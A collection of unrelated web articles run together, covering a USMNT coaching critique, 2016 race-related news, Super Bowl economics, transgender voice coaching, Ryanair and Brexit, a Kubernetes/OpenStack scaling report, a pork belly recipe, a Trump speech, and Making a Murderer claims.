I never root against our US Men's National Team and I won't start now. But we have to be honest and we have to say right now: Jurgen Klinsmann deserves to be sacked after a string of poor performances stretching all the way back to the beginning of the 2015 CONCACAF Gold Cup to the semi-final elimination from that tournament by Jamaica, to the CONCACAF Cup loss to Mexico that cost USMNT a Confederations Cup spot next year.
Throw in the performances at the Copa America Centenario, a poor performance down in Guatemala in the semi-final round of World Cup qualifying, and now the capitulation to our two biggest regional rivals in the opening games of the Hex: Sunil Gulati needs to stop copying the part of the German soccer playbook that says hire Klinsmann to shake things up, and skip ahead to the part that says hire someone else to make things better. If the USMNT head coach has to be A master tactician from Germany, we need Jogi Low, not Jurgen Klinsmann.
As for Sacha Kljestan, his time and abilities were wasted. He was not used in the role or situations in which he could have made a difference, and therefore he made no difference at all. Klinsmann simply used Sacha to add weight to a sinking ship. Here's hoping Captain Klinsi doesn't get another chance to pilot USMNT off course.In 2016, a year that’s been marked with more than its fair share of tragedy and high-profile deaths, things in America have been especially grim when it comes to dealing with racism.
Central to that is Donald Trump’s election win despite (or because of, depending on your analysis) his unabashedly racist remarks and promises during his campaign to sanction discrimination. He went on to appoint Steve Bannon, whose primary professional accomplishment was mainstreaming white nationalism at the helm of the website Breitbart, as his "chief strategist and senior counselor." Next, he pegged Jeff Sessions, who in 1986 was deemed too racist to be a federal judge, as the next likely head of the Department of Justice.
Trump has loudly celebrated black people (to be clear, not all potential Clinton supporters, just black people) who didn’t vote, since their votes likely would not have been for him. And it looks like he hasn’t let go of his campaign trail idea that Muslims should be temporarily banned from entering the United States. Asked by reporters this week whether he’d reevaluate this stance — and his proposed registry of Muslim citizens — he replied, "You know my plans."
It’s no wonder civil rights advocates fear that decades of progress will be reversed under Trump’s administration — or that the white nationalists who say they’ve been emboldened by his win are delighted to make the same prediction.
But the same night Trump was elected, something else happened. The number of women of color in the Senate quadrupled: Kamala Harris (D-CA), Tammy Duckworth (D-IL), and Catherine Cortez Masto (D-NV) won their races, and they’ll join Mazie Hirono, a Japanese-American woman who represents Hawaii. Those wins boosted the count from one woman of color in the US Senate to four. Of course, four is still a small number considering there are 100 Senate seats. But it’s a significant increase — and the largest leap in any one election.
Largely unnoticed amid shock over Trump’s win and panic about what his presidency would mean for the country, this was a moment that stood out against the rest of 2016 as a sign of progress — a moment when racism didn’t appear to win. And it wasn’t the only one.
Women of color had an incredible Olympics — in terms of medals and representation
Simone Manuel made history when she became the first black American woman in the Olympics to earn an individual swimming gold medal and the first African-American woman to win an individual medal. The groundbreaking win in the 100-meter freestyle event, where Manuel tied with Canada’s Penny Oleksiak, would be worth celebrating in the context of any sport. But the particularly racist history of American swimming pools — and resulting lack of opportunities for black swimmers for decades — makes it an even more poignant victory.
Meanwhile, in gymnastics Simone Biles, Aly Raisman, Gabby Douglas, Madison Kocian, and Laurie Hernandez made up the most racially and ethnically diverse group of Olympic athletes in the US team’s history. Biles and Douglas are African-American, Hernandez is Latina, and Kocian and Raisman (who is Jewish) are both white. Fans cheered the sign of inclusiveness in a sport that in the United States has historically had mostly white participants and, on a global level, is still plagued by lazy stereotypes about the abilities of athletes who aren’t white. In the words of the social media celebrations of the many fans who shared images of the five leotard-clad young women, "Representation matters!" As a bonus, the team won gold.
The first Somali-American lawmaker was elected, and got right to work speaking out about bigotry
Ilhan Omar’s November 8 election to Minnesota’s House of Representatives made her America’s first Somali-American lawmaker. She won southeast Minneapolis’s House District 60B seat with 80 percent of the vote.
The celebrations around her win were followed by sobering news when Omar, who is Muslim, reported being harassed by a Washington, DC, cab driver who called her "ISIS" and threatened to remover her hijab. But thanks to the higher profile that came with her new office, her account of the incident and her graceful reaction ("I pray for his humanity and for all those who harbor hate in their hearts") recounted on her Facebook page received national attention.
Speaking out about the incident was one of the first small ways she made good on the promises she made in her acceptance speech, in which she told supporters, "Injustices that are rooted in our society are the root of all of our problems. I will never give up fighting for you, and I hope you never give up fighting for me."
Courts eviscerated voter ID laws meant to keep black people from voting
In July, the US Court of Appeals for the Fourth Circuit struck down North Carolina’s requirement that voters show certain identification at the polls. The law was enacted after the Supreme Court’s 2013 decision in Shelby County v. Holder freed up states with histories of discriminatory practices from the requirement of federal approval before making new voting rules. And the judges’ decision minced no words: The law was "passed with racially discriminatory intent."
The ruling provided refreshing clarity. When it comes to restrictive voting laws, as J. Gerald Hebert and Danielle Lang wrote for the Washington Post, "This racial strategy is just barely below the surface of many of these laws," and is often vehemently denied.
Passing laws that are neutral on their face but make it harder for certain groups to cast ballots will be tougher to do going forward: The three-judge panel wrote that legislatures had created the law to "target voters who, based on race, were unlikely to vote for the majority party. Even if done for partisan ends, that constituted racial discrimination."
In August, a divided Supreme Court’s ruling denied North Carolina’s request to reinstate the law and let the ruling stand. Allison Riggs, a lawyer for the Southern Coalition for Social Justice, told the New York Times, "This decision opens the door for fair and full access to the democratic process for all voters."
A court convicted a white man who killed black people
On December 15, Dylann Roof, the 22-year-old white supremacist who killed nine people at a black church in Charleston, South Carolina, in 2015, was found guilty on all 33 charges, including the nine murder charges, against him. He’d confessed to the crime, saying, "I went to that church in Charleston, and I did it," so, legally speaking, there shouldn’t have been much doubt about what the outcome of his trial would be.
But for plenty of people left skeptical of whether a court would deliver justice for black victims, it indeed did. Does relief that racism didn’t derail a cut-and-dried case reflect a pretty low standard? Definitely. But here we are.
In one church basement, people worked to tackle their own racism, proving that this is actually an option
In August, North Carolina’s WCNC reported that a "Racists Anonymous" group had begun holding meetings in Concord’s Trinity United Church of Christ fellowship hall.
The news was, understandably, met with skepticism — was this group "a trap," as a Twitter used fretted? Was it a place of support for bigoted views? "If this is real this is so disgusting... ashamed of them," said one Twitter user. But a closer look revealed that the group didn’t aim to do either of these things.
Instead, a Racists Anonymous organizer told WCNC, "[The goal is to] change systematic racism in the United States of America." The leader, Trinity United’s Rev. Nathan King, said the group’s goal was to "deal with the racism" among members and to "eliminate the racism within ourselves."
The techniques for that elimination weren’t made totally clear, but during a year in which racism was more politically powerful and hotly debated than usual, it was refreshing to learn that, in one fellowship hall at least, people were examining and remedying their own racism instead of finding ways to redefine the term so it wouldn’t apply to them. Even combined with the existence of organizations like Showing Up for Racial Justice, a national network of groups and individuals organizing white people against racism, it would be a stretch to say this approach is the beginning of a trend. But it’s a reminder that it’s possible.
University of Texas’s tactics for creating a racially diverse student body were okayed
In July, the use of race-based affirmative action in college admissions survived a Supreme Court challenge. The Court ruled 4-3 that the procedures the University of Texas used to decide which students to admit were constitutional, after a challenge by Texas student Abigail Fisher, who was denied admission to the school in 2008.
As Vox’s Libby Nelson reported, the academically selective UT Austin has specific goals for the diversity of its student body, and uses race as one factor to decide who, in addition to the top 10 percent of students in each high school class across Texas, is admitted. The Court’s majority was convinced by the university's argument that it could not achieve those goals in any other way.
Because the school’s plan is unique, the decision didn’t provide much guidance on how other universities could ensure their admissions procedures were constitutional — and a note in the decision warned, "It is the University's ongoing obligation to engage in constant deliberation and continued reflection," about how to achieve its goals.
Still, as City University of New York law professor Victor Goode wrote for Colorlines, "This case represents a rare, important victory for the civil rights community and leaves the door open for educators to continue employing carefully crafted affirmative admissions plans." The result: a diverse student body that, as UT has argued, is actually a good thing for students of all races.
A modern, multicultural musical made a statement — literally
Hamilton, the hit musical that tells the story of the Founding Fathers with a multicultural cast and a rap and pop soundtrack, has been wildly successful. Forbes reported that it beat record-holder Wicked for highest gross in a single week, bringing in $3.26 million over Thanksgiving. The $303-per-seat ticket price was the highest in history.
Beyond the ways these economic measures powerfully affirmed an appetite for diversity onstage, the cast made a point to connect the production’s cultural significance to real life: namely, the threats to nonwhite Americans and immigrants indicated by the Trump campaign. Shortly after the election, Vice President-elect Mike Pence made a visit to the theater. That night, cast member Brandon Victor Dixon called out to him, and delivered the following speech as the rest of the cast linked arms behind him:
Vice-president elect Pence, we welcome you and we truly thank you for joining us at Hamilton: An American Musical. We really do. We, sir, are the diverse America who are alarmed and anxious that your new administration will not protect us, our planet, our children, our parents — or defend us and uphold our inalienable rights, sir. But we truly hope that this show has inspired you to uphold our American values and work on behalf of all of us. All of us. We truly thank you for sharing this show — this wonderful American story told by a diverse group of men, women of different colors, creeds, and orientations.
An artistic ode to black women dominated the charts — and managed to get a Black Panther theme into the Super Bowl halftime show
Celebrated as an "ode to black womanhood" and a "revolutionary work of black feminism," Beyoncé’s visual album, Lemonade (arguably a feature film), was another massive pop culture success that put marginalized identities at its center, and won. It debuted at No. 1 on the US Billboard 200 in the last week in April and made Beyoncé the first artist to top the list with each of her six albums. It broke a slew of other records, and the BBC dubbed it music critics’ favorite album of the year.
The lead single, "Formation," was its own triumph: The Daily Beast called the song "a fiery black power anthem and call to arms." Rolling Stone declared that "in the era of #BlackLivesMatter, 'Formation' felt downright necessary." And Beyoncé’s Super Bowl halftime performance of the powerful song, complete with dancers with Afros and Black Panther–inspired costumes, brought the issues at the center of "Formation" — mainly, police brutality and the movement for black lives — right into America’s living rooms, whether or not they were inclined to agree.
A "genius" champion for immigrant children got $625,000 to further his work
Ahilan Arulanantham is the deputy legal director at the American Civil Liberties Union of Southern California and an advocate for children as young as 3 years old who’ve fled their home countries and are facing deportation. This year, he received a MacArthur Foundation Genius Grant — a $625,000 check to honor his work and help him to do more of it.
He was chosen for his advocacy and successful litigation of a series of landmark cases that expanded immigrant detainees’ access to legal representation and limited the government’s power to detain them indefinitely.
"Through his incremental approach and careful selection of cases, Arulanantham works to demonstrate the human costs of denying due process to immigrants and to set vital precedents to expand the rights of non-citizens," the foundation wrote in its announcement. Arulanantham told Fusion that "it doesn’t take a genius" to understand the purpose of his work: Kids facing deportation can’t defend themselves in court against professional government prosecutors.
Obama made it much harder for Trump to build his "Muslim registry"
As Vox’s Dara Lind has reported, from 2002 to 2011 a version of one of Donald Trump’s most extreme proposals was standard US government policy: requiring certain people in the US on visas from Muslim-majority countries to register with the government.
President Obama suspended the program and stopped using it to track anyone in 2011, and his White House has spoken strongly against any sort of discrimination against Muslim immigrants. But while the Obama administration’s rhetoric made it clear they thought the program was a bad idea, they didn’t fully get rid of it. What they did, instead, was just clear out the list of countries from which people would be registered, Lind explained.
That means the program’s tools, until recently, were still available for the Trump administration to use for the kind of registry Trump has said he’d like to see.
Not anymore. Lind reported Thursday:
The Department of Homeland Security published a regulation that would totally get rid of the National Entry-Exit Registration System (NSEERS) — forcing the Trump administration to take the time to create something new, and giving civil rights groups an opportunity to stop them. The regulation goes into effect Friday, December 23, well before President Trump is inaugurated. So when his administration takes office — if it’s serious about finding a way to register people from Muslim-majority countries in the US — it’s going to have to find another way to do it.
Depending on one’s outlook, these moments could be interpreted as confirmation that there’s a reason for hope, or as a spotty series of exceptions to the many reasons to despair about race in America. While none of them rival Trump’s win when it comes to the scope of their potential impact, they’re reminders that for people who would like to see progress toward racial equality (and, with the very vocal rise of white nationalists, it’s clearer than ever that that’s not everyone), there were at least a handful of days when 2016 wasn’t a disaster.Ads in New York’s Times Square, where Broadway has been renamed Super Bowl Boulevard for the game. Andrew Burton/Getty Images
Light posts all over New York City already heralded the forthcoming Super Bowl earlier this month when U.S. Rep. Carolyn Maloney held a press conference with tourism and NFL officials at a sports bar in midtown Manhattan to announce that part of Broadway, perhaps the most famous street in the United States, would be renamed Super Bowl Boulevard for the four days preceding the game.
More officially, the new temporary name is Super Bowl Boulevard Engineered by GMC.
The 10-block stretch is now decked out with a concert stage, a Vince Lombardi Trophy display case and an eight-lane toboggan run (also sponsored by GMC). It’s all in an effort to boost the tourism ripple effect that many expect the Super Bowl to create.
“It’s going to be a huge economic boon,” Maloney said. “Thanks to the Super Bowl, we’re seeing more hotel rooms booked and restaurant tables reserved and even more excitement than usual for this time of year.”
To the people involved in bringing Super Bowl XLVIII to New Jersey this year, the economic impact couldn’t be more clear: They’ve estimated that 80,000 people will arrive for the game and 10,000 temporary jobs will be created. The NFL host committee has said the Super Bowl will generate $500 million to $600 million for the region.
But to others who aren’t directly responsible for convincing the region to host the game, the economic picture looks less rosy. Some local business owners say the flood of people and dollars promised by local politicians has failed to materialize, and many economists seem to agree. They say that, at best, the Super Bowl will provide a small or moderate economic boost to the economy and, at worst, it might even be a drain.
Managers at Best Western Robert Treat Hotel in Newark, N.J., are downright disappointed.
“We were under the expectation that we’d be packed,” said Winston Reyes, the front-desk manager. “But reservations are slow.”
He blamed the media frenzy for the high vacancy rate. With newspapers across the country reporting that tens of thousands of people with dollars to burn were making their way to the metropolitan area, Reyes’ hotel changed prices accordingly. But those people didn’t materialize, and the price increases dissuaded non–Super Bowl visitors, he said.
Plus, Reyes said, New Jersey didn’t do a very good job of advertising.
“We didn’t see a great promotion from the state,” he said. “As of right now, the Super Bowl is in New Jersey, and everybody thinks it’s in New York.”
According to economists, this kind of story is pretty typical for businesses in Super Bowl cities: Politicians and sports franchises promise big money, it rarely materializes, and the process repeats itself the following year.
But even as more evidence comes out that the Super Bowl is a lackluster economic booster, economists say a sporting event can look like the best — or at least the most politically palatable — option for an area looking for a quick cash infusion.
“Cities have a bit of a tough time selling the public on public financing, but the NFL makes a convincing argument,” said Robert Baade, an economics professor at Lake Forest College in Illinois who has studied the Super Bowl’s economic impact. “They (NFL officials) want people to think of it not as an an expenditure but as an investment.”
But, according to Baade and several other economists, the NFL host committee’s math is fuzzy.LISTEN: Seattle voice coach helps transgender people find their true voice Your browser does not support the audio element.
When a transgender person decides to transition from one sex to another, there are a lot of steps involved. They might change their appearance and their name. They might take hormones and have gender reassignment surgery. But after all of this is complete, many may find their old voice doesn’t match their new appearance.
“My wife and I own our own business. We’re a tech firm, big surprise here in Seattle,” said Seattle’s Evelyn Dickinson, who started medically transitioning from a man to a woman about 14 months ago. “The issue really, for me, is I have global clients and I manage teams of software developers all over the world. The voice, which is how we primarily communicate other than email, is incredibly important. I wanted to be able to make a clean break. Psychologically, for me, the voice was really the primary blocker of being my true self to everyone.”
Eager to sound like the woman she’s always felt like inside, Dickinson started working with Seattle’s Sandy Hirsch, a renowned speech language pathologist who co-authored the first textbook on transgender voice and communication therapy.
“I saw my first transgender client when I was in graduate school in the late 80s,” Hirsch said. “My expertise in voice and my background in theater and singing and my love of diversity, it just felt like a very natural area of focus for me.”
Dickinson’s voice changed dramatically after about a dozen sessions with Hirsch, who set her free, telling her she didn’t need lessons any longer.
“A lot of people don’t choose to worry about their voice, they’re perfectly comfortable with their voice and that is okay,” Dickinson said. “For me, I am what we call high femme. I’m just very, very femmey. To be able to present the way I wanted to, to be the person I am inside, I had to be able to speak in public. I’m also an activist, I talk in front of people all the time. It was hurting my life. When I had my breakthrough and Sandy played my original ‘before’ and my ‘after,’ I just burst into tears.”
Mercer Island’s Scarlett Hoefler only came out as trans a couple months ago.
“I’d feel comfortable going out and dressing up. But as soon as I had to speak it was extremely uncomfortable.”
Hoefler and Hirsch have been meeting twice a week, prepping for a big event.
“In a couple of weeks is my step-brother’s wedding and before I came out I was going to be a groomsman. Suddenly, coming out as trangender really throws a wrench into that!” Hoefler laughs. “But they’ve been super awesome and accepting. The bride messaged me and said, ‘Oh, you don’t have to wear a suit. Let us know what name you want us to use.’ But I want to make sure, when I go to the wedding wearing a dress instead of a suit, I don’t want to stand out. It’s not my day. Sandy’s been super helpful, helping with everything from voice to how to walk in heels and not look awkward.”
Hirsch uses all kinds of exercises and techniques to safely transition their pitch without hurting their vocal chords.
“If you’re reaching too high and developing a voice that’s really unnatural and up here,” Hirsch demonstrated by talking in a strained, high pitched voice, “and you think if you just stay up here then you’ll be heard as a different gender. But it’s not a natural sound.”
One other reason some transgender people want to work on their voice, is because of the threat of violence. It’s safer on the streets if you can truly pass as a woman.
“I’ve been physically assaulted three times on the streets of Seattle,” said Dickinson. “It’s a problem and it’s getting to be more of a problem given the current political climate. People come into the city for the express purposes of assaulting trans women. Especially trans women of color. It’s a huge, huge problem in this country.”
Hirsch’s clients tend to be transgender women, although she does work with a few trans men. When a transgender man takes hormones, his voice will often deepen, but female hormones don’t have the same effect.Editor’s Note: This is part 1 of a |
talks proceed, Ryanair (RYA.I) Chief Executive Michael O’Leary warned on Wednesday.
FILE PHOTO: Ryanair CEO Michael O'Leary attends a news conference in Rome, Italy, June 27, 2017. REUTERS/Alessandro Bianchi/File Photo
Airlines say they would need a new bilateral deal between the UK and Europe by September or October next year to replace the EU’s “open skies” regime, which allows EU airlines to fly wherever they wish within the bloc, to be able to provide scheduled flights in the months after Britain leaves the EU.
But O’Leary said initial signs from Brexit talks were not promising due to likely sticking points such as the EU wanting the European Court of Justice to have sole jurisdiction over any deal.
“It’s odds against a deal being done in advance of Christmas 2018 because it is in the Europeans’ interest to not have a deal done... and all hell will be kicking off over here in the UK,” O’Leary told reporters at a briefing in London.
O’Leary was speaking after talks with British Transport Secretary Chris Grayling, which he described as “a very good meeting”. O’Leary said Grayling was increasingly conscious of the need to conclude an aviation deal before the end of 2018.
However, he said he did not share Grayling’s optimism that a deal would be straightforward.
“We believe the French and the German airlines in particular are actively negotiating against any favourable deal,” O’Leary said.
But some in the industry say O’Leary is overstating the threat from Brexit.
“We fully expect flights between the UK and Europe to be protected because the benefits to both consumers and companies across the UK and the rest of Europe are so significant,” Tim Alderslade, Chief Executive of Airlines UK, the industry body representing UK-registered carriers.
Totis Kotsonis, partner at international law firm Eversheds Sutherland, said O’Leary was right in saying there was a risk of flights between Britain and the EU being disrupted but it was possible an interim arrangement could be reached with a view to an open skies deal being negotiated later.
“The (UK) government is aware of this risk, and this is yet another reason why there is a growing expectation that an interim arrangement will be necessary to allow for a post-Brexit UK-EU deal to be properly negotiated and agreed, including as regards aviation,” he told Reuters.
O’Leary has been warning since January that a failure by London and Brussels to agree a new bilateral deal by late 2018 could lead to a total freeze on flights between Britain and the European Union.
He said that without a deal on aviation, Ryanair would move dozens of planes currently in Britain to bases in other EU countries.
Britain formally began negotiations to leave the European Union in June, but little progress has been made towards an agreement on issues such as reciprocal rights for UK and EU citizens living abroad, which are first on the agenda before sectoral issues like aviation are discussed.
O’Leary, an outspoken critic of the British decision to leave the European Union, has warned of the uncertainties caused by the vote ever since the referendum in June 2016, and said that a deal looked no more likely now than it did then.
“We’re 12 months down the road, and we’re no closer to an agreement,” O’Leary said.Late last year, we did a number of tests that looked at deploying close to 1000 OpenStack nodes on a pre-installed Kubernetes cluster as a way of finding out what problems you might run into, and fixing them, if at all possible. In all we found several, and though in general, we were able to fix them, we thought it would still be good to go over the types of things you need to look for.
Overall we deployed an OpenStack cluster that contained more than 900 nodes using Fuel-CCP on a Kubernetes that had been deployed using Kargo. The Kargo tool is part of the Kubernetes Incubator project and uses the Large Kubernetes Cluster reference architecture as a baseline.
As we worked, we documented issues we found, and contributed fixes to both the deployment tool and reference design document where appropriate. Here’s what we found.
The setup
We started with just over 175 bare metal machines, allocating 3 of them to be used for Kubernetes control plane services placement (API servers, ETCD, Kubernetes scheduler, etc.), others had 5 virtual machines on each node, where every VM was used as a Kubernetes minion node.
Each bare metal node had the following specifications:
HP ProLiant DL380 Gen9
CPU – 2x Intel(R) Xeon(R) CPU E5-2680 v3 @ 2.50GHz
RAM – 264G
Storage – 3.0T on RAID on HP Smart Array P840 Controller, HDD – 12 x HP EH0600JDYTL
Network – 2x Intel Corporation Ethernet 10G 2P X710
The running OpenStack cluster (as far as Kubernetes is concerned) consists of:
OpenStack control plane services running on close to 150 pods over 6 nodes Close to 4500 pods spread across all of the remaining nodes, at 5 pods per minion node
One major Prometheus problem
During the experiments we used Prometheus monitoring tool to verify resource consumption and the load put on the core system, Kubernetes, and OpenStack services. One note of caution when using Prometheus: Deleting old data from Prometheus storage will indeed improve the Prometheus API speed — but it will also delete any previous cluster information, making it unavailable for post-run investigation. So make sure to document any observed issue and its debugging thoroughly!
Thankfully, we had in fact done that documentation, but one thing we’ve decided to do going forward to prevent this problem by configuring Prometheus to back up data to one of the persistent time series databases it supports, such as InfluxDB, Cassandra, or OpenTSDB. By default, Prometheus is optimized to be used as a real time monitoring / alerting system, and there is an official recommendation from the Prometheus developers team to keep monitoring data retention for only about 15 days to keep the tool working in a quick and responsive manner. By setting up the backup, we can store old data for an extended amount of time for post-processing needs.
Problems we experienced in our testing
Huge load on kube-apiserver
Symptoms
Initially, we had a setup with all nodes (including the Kubernetes control plane nodes) running on a virtualized environment, but the load was such that the API servers couldn’t function at all so they were moved to bare metal. Still, both API servers running in the Kubernetes cluster were utilising up to 2000% of the available CPU (up to 45% of total node compute performance capacity), even after we migrated them to hardware nodes.
Root cause
All services that are not on Kubernetes masters (kubelet, kube-proxy on all minions) access kube-apiserver via a local NGINX proxy. Most of those requests are watch requests that lie mostly idle after they are initiated (most timeouts on them are defined to be about 5-10 minutes). NGINX was configured to cut idle connections in 3 seconds, which causes all clients to reconnect and (even worse) restart aborted SSL sessions. On the server side, this it makes kube-apiserver consume up to 2000% of the CPU resources, making other requests very slow.
Solution
Set the proxy_timeout parameter to 10 minutes in the nginx.conf configuration file, which should be more than long enough to prevent cutting SSL connections before te requests time out by themselves. After this fix was applied, one api-server consumed only 100% of CPU (about 2% of total node compute performance capacity), while the second one consumed about 200% (about 4% of total node compute performance capacity) of CPU (with average response time 200-400 ms).
Upstream issue status: fixed
Make the Kargo deployment tool set proxy_timeout to 10 minutes: issue fixed with pull request by Fuel CCP team.
KubeDNS cannot handle large cluster load with default settings
Symptoms
When deploying an OpenStack cluster on this scale, kubedns becomes unresponsive because of the huge load. This end up with a slew of errors appearing in the logs of the dnsmasq container in the kubedns pod:
Maximum number of concurrent DNS queries reached.
Also, dnsmasq containers sometimes get restarted due to hitting the high memory limit.
Root cause
First of all, kubedns often seems to fail often in this architecture, even even without load. During the experiment we observed continuous kubedns container restarts even on an empty (but large enough) Kubernetes cluster. Restarts are caused by liveness check failing, although nothing notable is observed in any logs.
Second, dnsmasq should have taken the load off kubedns, but it needs some tuning to behave as expected (or, frankly, at all) for large loads.
Solution
Fixing this problem requires several levels of steps:
Set higher limits for dnsmasq containers: they take on most of the load. Add more replicas to kubedns replication controller (we decided to stop on 6 replicas, as it solved the observed issue – for bigger clusters it might be needed to increase this number even more). Increase number of parallel connections dnsmasq should handle (we used –dns-forward-max=1000 which is recommended parameter setup in dnsmasq manuals) Increase size of cache in dnsmasq : it has hard limit of 10000 cache entries which seems to be reasonable amount. Fix kubedns to handle this behaviour in proper way.
Upstream issue status: partially fixed
#1 and #2 are fixed by making them configurable in Kargo by Kubernetes team: issue, pull request.
Others – work has not yet started.
Kubernetes scheduler needs to be deployed on a separate node
Symptoms
During the huge OpenStack cluster deployment against Kubernetes, scheduler, controller-manager and kube-apiserver start fighting for CPU cycles as all of them are under a large load. Scheduler is the most resource-hungry, so we need a way to deploy it separately.
Solution
We moved the Kubernetes scheduler moved to a separate node manually; all other schedulers were manually killed to prevent them from moving to other nodes.
Upstream issue status: reported
Issue in Kargo.
Kubernetes scheduler is ineffective with pod antiaffinity
Symptoms
It takes a significant amount of time for the scheduler to process pods with pod antiaffinity rules specified on them. It is spending about 2-3 seconds on each pod, which makes the time needed to deploy an OpenStack cluster of 900 nodes unexpectedly long (about 3h for just scheduling). OpenStack deployment requires the use of antiaffinity rules to prevent several OpenStack compute nodes from being launched on a single Kubernetes minion node.
Root cause
According to profiling results, most of the time is spent on creating new Selectors to match existing pods against, which triggers the validation step. Basically we have O(N^2) unnecessary validation steps (where N = the number of pods), even if we have just 5 deployment entities scheduled to most of the nodes.
Solution
In this case, we needed a specific optimization that speeds up scheduling time up to about 300 ms/pod. It’s still slow in terms of common sense (about 30m spent just on pods scheduling for a 900 node OpenStack cluster), but it is at least close to reasonable. This solution lowers the number of very expensive operations to O(N), which is better, but still depends on the number of pods instead of deployments, so there is space for future improvement.
Upstream issue status: fixed
The optimization was merged into master (pull request) and backported to the 1.5 branch, and is part of the 1.5.2 release (pull request).
kube-apiserver has low default rate limit
Symptoms
Different services start receiving “429 Rate Limit Exceeded” HTTP errors, even though kube-apiservers can take more load. This problem was discovered through a scheduler bug (see below).
Solution
Raise the rate limit for the kube-apiserver process via the –max-requests-inflight option. It defaults to 400, but in our case it became workable at 2000. This number should be configurable in the Kargo deployment tool, as bigger deployments might require an even bigger increase.
Upstream issue status: reported
Issue in Kargo.
Kubernetes scheduler can schedule incorrectly
Symptoms
When creating a huge amount of pods (~4500 in our case) and faced with HTTP 429 errors from kube-apiserver (see above), the scheduler can schedule several pods of the same deployment on one node, in violation of the pod antiaffinity rule on them.
Root cause
See pull request below.
Upstream issue status: pull request
Fix from Mirantis team: pull request (merged, part of Kubernetes 1.6 release).
Docker sometimes becomes unresponsive
Symptoms
The Docker process sometimes hangs on several nodes, which results in timeouts in the kubelet logs. When this happens, pods cannot be spawned or terminated successfully on the affected minion node. Although many similar issues have been fixed in Docker since 1.11, we are still observing these symptoms.
Workaround
The Docker daemon logs do not contain any notable information, so we had to restart the docker service on the affected node. (During the experiments we used Docker 1.12.3, but we have observed similar symptoms in 1.13 release candidates as well.)
OpenStack services don’t handle PXC pseudo-deadlocks
Symptoms
When run in parallel, create operations of lots of resources were failing with DBError saying that Percona Xtradb Cluster identified a deadlock and the transaction should be restarted.
Root cause
oslo.db is responsible for wrapping errors received from the DB into proper classes so that services can restart transactions if similar errors occur, but it didn’t expect the error in the format that is being sent by Percona. After we fixed this, however, we still experienced similar errors, because not all transactions that could be restarted were properly decorated in Nova code.
Upstream issue status: fixed
The bug has been fixed by Roman Podolyaka’s CR and backported to Newton. It fixes Percona deadlock error detection, but there’s at least one place in Nova that still needs to be fixed.
Live migration failed with live_migration_uri configuration
Symptoms
With the live_migration_uri configuration, live migrations fails because one compute host can’t connect to a libvirt on another host.
Root cause
We can’t specify which IP address to use in the live_migration_uri template, so it was trying to use the address from the first interface that happened to be in the PXE network, while libvirt listens on the private network. We couldn’t use the live_migration_inbound_addr, which would solve this problem, because of a problem in upstream Nova.
Upstream issue status: fixed
A bug in Nova has been fixed and backported to Newton. We switched to using live_migration_inbound_addr after that.Click here to print
Pork belly
This is a blimmin’ fantastic slow-cooked pork belly recipe. With very little effort, you end up with that wondrous contrast of meltingly delicious meat and salty crunchy crackling. I’ve tried loads of pork belly recipes using all manner of spices, brines, sauces and seasonings, but we’re going back to basics here. I just serve this chopped up on a board and people can pick at it – it’s heaven, although it doesn’t last long! Sometimes, I add a little homemade apple sauce to cut through the richness.
Ingredients
1-2kg pork belly (free range is best)
Olive oil
Salt
Note: If you’re buying pork belly from your local butcher, ask them to ‘score’ the skin for you so you don’t have to. Sometimes it’s already scored when you buy it – even then I usually add a few more cuts for good measure.
Method
Preheat the oven to 130c conventional bake.
Place the pork belly skin-side up on a clean chopping board and pat the skin very dry with paper towels. If the skin has not already been scored, carefully slice lines right across the belly using a sharp knife, about 1cm apart. You want to pierce through the tough skin and just go into the fat layer, not cut into the meat underneath. Scoring helps the crackling puff up later.
Place the pork belly skin side up in a roasting pan, preferably sitting on a wire rack if you have one. Drizzle and rub a good amount of olive oil all over the whole pork belly (including the underside) so it’s all coated. Sprinkle the skin side generously with salt and massage it in. I give it a hit of cracked pepper here too.
If there’s any meat poking out, try and tuck it under best you can so it’s not exposed.
Place the pork in the middle of the oven (skin side up) and cook in for 4 hours.
After 4 hours, increase the temperature to 150c and cook for another 30 minutes.
After 30 minutes, change the oven setting to ‘grill’ on medium-high. Move the pork belly to the top of the oven and grill the skin until it goes puffy and golden all over (it might only take a minute – watch it closely or it will burn!).
Transfer to a chopping board and cut into pieces to serve. For a meal it’s delicious with a nice zesty salad or a slaw and pumpkin or orange kumara mash.
Betcha there’s none left at the end…“People in this country are smart,” he told listeners at the National Federation of Republican Assemblies’ 2015 conference in Nashville on Saturday.
“We’re tired of being the patsies for everyone,” Trump said.
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“There is a big, big, growing-by-leaps-and-bounds silent majority out there. [The 2016 race] is going to be an election based on competence.”
Trump argued he is surging in national polls because he represents the Tea Party supporters ignored by Democrats and betrayed by Republicans.
“I love the Tea Party,” Trump said. “You people have not been treated fairly. These are people who work hard and love their country, and then get beat up by the media. It’s disgusting.
“At least I have a microphone and can fight back,” the outspoken billionaire added.
Trump indicated he envisions a much wider base for his campaign than traditional Republican voters next election cycle.
“You don’t know how big you are,” he told listeners. “The Tea Party has tremendous power. It’s Democrats, it is evangelicals, it is everybody.”
The New York business mogul also vowed he would not succumb to the prestige and power of Washington’s political establishment if he wins in 2016.
“They go to Washington and they get weak,” Trump said of Democrats and Republicans alike. “They get there and they see these beautiful, vaulted ceilings and they say, ‘Honey, I’ve made it.’ That won’t happen to me, I promise.”Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Making a Murderer's Steven Avery could be one step closer to freedom following bombshell new claims that the FBI did not confirm that the bones they tested belonged to Teresa Halbach.
The allegations contained in court transcripts and evidence logs purport to show that Wisconsin state DNA expert Sherry Culhane - sent only "charred material."
On January 20 2006, Calumet County Sheriff Jerry Pagel released a statement to the media insisting the FBI had confirmed the bones were matched to Teresa's.
While on February 7, shamed prosecutor Ken Kratz sent an email to Culhane - who was responsible for analyzing the bones locally - reiterating that statement.
(Image: Netflix)
However it's now been questioned whether FBI even tested 'bone fragments' since the piece of evidence marked BZ in the case was "charred material" and that it was never proven to match with Halbach's.
Instead it was a general mitochondrial DNA match connected to a relative of Miss Halbach's mother.
Read more:
According to campaigners none of the protocols were followed and the 'bones' found were not logged properly meaning evidence could easily have been tampered with.
Blogger Amberlea1879 has pored over evidence on the Reddit forum which she says suggests collusion was going on between Ken Kratz and Sherry Culhane.
And she's sent her research to lawyer Kathleen Zellner - who apparently confirmed receipt and is looking into the claims as part of her evidence gathering process.
Meanwhile in another startling piece of research which gives a blow by blow account of the breaches of protocol in the case - another compelling insight shows how the whole thing could now be turned on its head.
(Image: Netflix)
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Stop Wrongful Convictions Campaigner and author Lynne Blanchard says: "Everyone accepts as fact that Teresa’s remains were found in the burn pit.
